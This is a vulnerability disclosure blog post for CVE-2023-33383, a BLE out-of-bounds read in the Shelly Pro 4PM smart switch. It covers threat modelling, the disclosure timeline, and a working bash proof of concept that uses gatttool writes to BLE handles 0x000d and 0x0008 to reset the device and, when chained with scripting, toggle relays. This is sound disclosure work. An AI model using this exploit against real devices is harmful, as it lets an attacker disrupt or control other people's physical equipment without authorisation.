CVE-2023-33383

Authentication Bypass via an out-of-bounds read vulnerability

Introduction

The Security Team at [exploitsecurity.io] uncovered a vulnerability in the Shelly 4PM Pro four-channel smart switch [ Firmware Version 0.11.0]. Under certain conditions the vulnerability allows an attacker to trigger an BLE out of bounds read fault condition that results in a device reload. It was found that this vulnerability could enable an attacker to switch on relays, if coupled with the systems scripting feature.

This blog looks to describe:

• Affected Product Overview

• The Shelly 4PM PRO under the hood

• Attack Surface Mapping

• Threat Modeling

• Vulnerability Description

• Responsible Disclosure

• Proof of concept

• Timeline

Affected Product Overview

The Shelly Pro 4PM is a DIN rail mountable four-channel smart switch with power measurement capabilities. Enhanced with all the gen2 firmware flexibility, LAN connectivity and color graphic display, it provides professional integrators with many more options for end customer solutions. It can work standalone in a local Wi-Fi network or it can also be operated through cloud home automation services. Shelly Pro 4PM can be accessed, controlled and monitored remotely from any place where the User has internet connectivity, as long as the device is connected to a Wi-Fi router and the Internet. Shelly Pro 4PM has an embedded Web Interface which can be used to monitor and control the device, as well as adjust its settings.

Product: Shelly PRO 4PM (GEN2)

Affected Firmware Version: 0.11.0

Under the hood

Under the hood the Shelly PRO 4PM runs on an ESP32-D0WDQ6 MCU. The device utilizes diverse technologies to help either control or communicate signals/traffic flows between the device and its respective management device. Under normal operating procedure the device uses RPC calls over HTTP in order to monitor and control the device through its associated mobile application. The device utilizes the RPC protocol for control and notifications. RPC messages can be sent using HTTP. In the event that authentication is enabled there is a requirement to include a nonce, cnounce and hashed response by the device being controlled. The hashed response is constructed using information from an initial RPC call that elicits a HTTP 401 response. This response contains randomized data that is used to instantiate the hashed response in a subsequent request. For more information relating to the RPC functionality visit - https://shelly-api-docs.shelly.cloud/gen2/General/Authentication

Attack Surface Mapping

The following attack surface map was determined:

Attack Surface Map - Exploit Security

As can be seen the device is integrated into its environment using multiple distinct protocols including ModBus, HTTP, MQTT, RPC, WebSocket and UDP. All of which require access to either a physically connected ethernet or alternatively over RF/WiFi in order to interoperate.

As stated within the Product Overview [above], the device can be controlled either locally (within the host network) or alternatively remotely over the internet. The device is managed through the use of the associated Shelly Mobile Application. This application fulfills the function of monitoring of the device as well as control.

Threat Modeling

The predominate interaction with the device occurs using authenticated HTTP RPC calls. RPC is used to make the appropriate call for a specific function.

Using the above Attack Surface Mapping as a reference point, the Security Team at [exploitsecurity.io] considered multiple use cases in order to tease out weaknesses within the product. The following describes the hypothesis for each individual use case and the ultimate result in each case.

WIFI and Physical Ethernet Vectors

• Authentication bypass by capture replay (Authentication Enabled) Use Case:

Although the Security Team noted that it was possible to replay unauthenticated control flows, the Security Team wanted to examine the possibility of capturing authenticated control packets and subsequently replaying these packets to gain control of the device.

Result:

These efforts were essentially thwarted through adequate randomized hashing mechanisms which included nonce, cnonce values and SHA256 encryption.

• Brute Forcing the authentication mechanism

Use Case:

The Security Team found that it was possible to reverse the hashing algorthim. This algorithm incorporates the values username, password, realm, nonce, cnounce and a nc value. These values are then concatenated using ':' as a delimiter. A SHA256 hashing algorithm is then used to produce the resultant hash.

Result:

It was determined that due to the per request randomized values used to construct a correct hash that brute forcing was improbable.

BLE Vector

The Security Team turned their attention to the investigation of the BLE stack on the device. As far as could be determined the BLE functionality was currently ONLY used for device inclusion (Scanning/Importing of the device into the mobile application). Shelly devices are used as Bluetooth proxies to obtain data from devices which send data advertisements (notifications that do not require an active connection).

• Affecting the BT Stack to elicit an unknown system state

Use Case:

Due to the use of an underlying ESP32 BT SoC, which are regularly found to harbor a known BLE vulnerability (https://asset-group.github.io/disclosures/braktooth/), it was posited that it may be possible to affect an unknown system state using this type of attack vector.

Prying further into how BLE may be used on earlier Shelly devices, it was uncovered that it may have been used to service formatted JSON RPC calls.

---

An overview of the RPC via BLE process is detailed below:

• Under normal circumstances the device expects RPC JSON data (RPC calls use JSON format) to be written to BLE characteristic handle 0x0008.

• The RPC calls noted here are the same as the ones previously mentioned above in this blog post.

• In order to make ready the BLE stack to accept this data there is a requirement for the length of the required RPC JSON data to be written to BLE write handle 0x000d.

• The data written at this location informs the characteristic read/write handle 0x0008 that it should expect 'x' amount of byte(s).

• These bytes correspond to the length of the RPC JSON data.

---

Result:

Understanding the above RPC via BLE process the Security Team looked at possible ways to trigger the posited out-of-bounds read vulnerability.

The Security Team found that in order to produce a consistent fault condition, that it was possible to set an arbitrary length, through a write to BLE handle 0x000d followed by a subsequent write to read/write handle 0x0008.

The subsequent write to handle 0x0008, using a larger length of input data than was expected, would ultimately result in a device reset condition.

Additional Feature

As an additional feature the Shelly PRO 4PM allows for a scripting feature to be manually configured. This feature allows for automated tasks to be triggered upon certain events.

Example of such events may include

• Toggling of relays

• Monitoring of the status of the devices' cover.

Chained Attack

The Security Team found that by chaining the BLE fault condition together with the Shelly PRO scripting feature, that it was possible to coerce the device into execution of the pre-configured script which would ultimately result in the toggling of the on-board relay.

This behavior was noted as affecting the device configured with or without authentication enabled.

Responsible Disclosure

The Security Team at [exploitsecurity.io], reached out to the vendor to ensure that a patch was released prior to public disclosure. However, as of the time of this disclosure, no patch has been applied.

Proof of Concept

The proof of concept code wraps the GATTTOOL utility into a functional exploit.

#!/bin/bash

IFS=
failed=$false
RED="\e[31m"
GREEN="\e[92m"
WHITE="\e[97m"
ENDCOLOR="\e[0m"
substring="Connection refused"


banner()
    {
        clear
        echo -e "${GREEN}[+]*********************************************************[+]"
        echo -e "${GREEN}|   Author : Security Team [${RED}exploitsecurity.io${ENDCOLOR}]              |"
        echo -e "${GREEN}|   Description: Shelly PRO 4PM - Out of Bounds              |"
        echo -e "${GREEN}|   CVE: CVE-2023-33383                                      |"
        echo -e "${GREEN}[+]*********************************************************[+]"
        echo -e "${GREEN}[Enter key to send payload]${ENDCOLOR}"
    }

banner
read -s -n 1 key
if [ "$key" = "x" ]; then
    exit 0;
elif [ "$key" = "" ]; then
    gattout=$(sudo timeout 5 gatttool -b c8:f0:9e:88:92:3e --primary)
    if [ -z "$gattout" ]; then
        echo -e "${RED}Connection timed out${ENDCOLOR}"
        exit 0;
    else
    sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x000d -n 00000001 >/dev/null 2>&1
    echo -ne "${GREEN}[Sending Payload]${ENDCOLOR}"
    sleep 1
    if [ $? -eq 1 ]; then
       $failed=$true
       exit 0;
    fi
    sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x0008 -n ab >/dev/null 2>&1
    sleep 1
    if [ $? -eq 1 ]; then
        $failed=$true
        echo -e "${RED}[**Exploit Failed**]${ENDCOLOR}"
        exit 0;
    else
       sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x0008 -n abcd >/dev/null 2>&1
       sleep 1
       for i in {1..5}
       do
          echo -ne "${GREEN}."
          sleep 1
       done
       echo -e "\n${WHITE}[Pwned!]${ENDCOLOR}"
    fi
fi
fi

Timeline

1. 1st May 2023 - Reached out to vendor via https://support.shelly.cloud/en/support/tickets/new?ticket_form=report_an_issue for initial report disclosure. Created a support ticket (https://support.shelly.cloud/en/support/tickets/36432).

2. 3rd May 2023 - Support Ticket removed from shelly support site

3. 3rd May 2023 - Reached out to support@shelly.cloud

4. 4th May 2023 - Received communications from support@shelly.cloud. Sent through proof of concept steps.

5. 9th May 2023 - Received email confirmation from support@shelly.cloud advising that weakness is being further examined by shelly developers

6. 9th May 2023 - Registered for CVE-2023-33383

7. 9th June 2023 - Received confirmation from vendor of issue replication

8. 29th May 2023 - CVE reference: CVE-2023-33383 assigned (MITRE)

9. 2nd August 2023 - Public Disclosure Published

Please see Shelly change log for updates https://shelly-api-docs.shelly.cloud/gen2/changelog/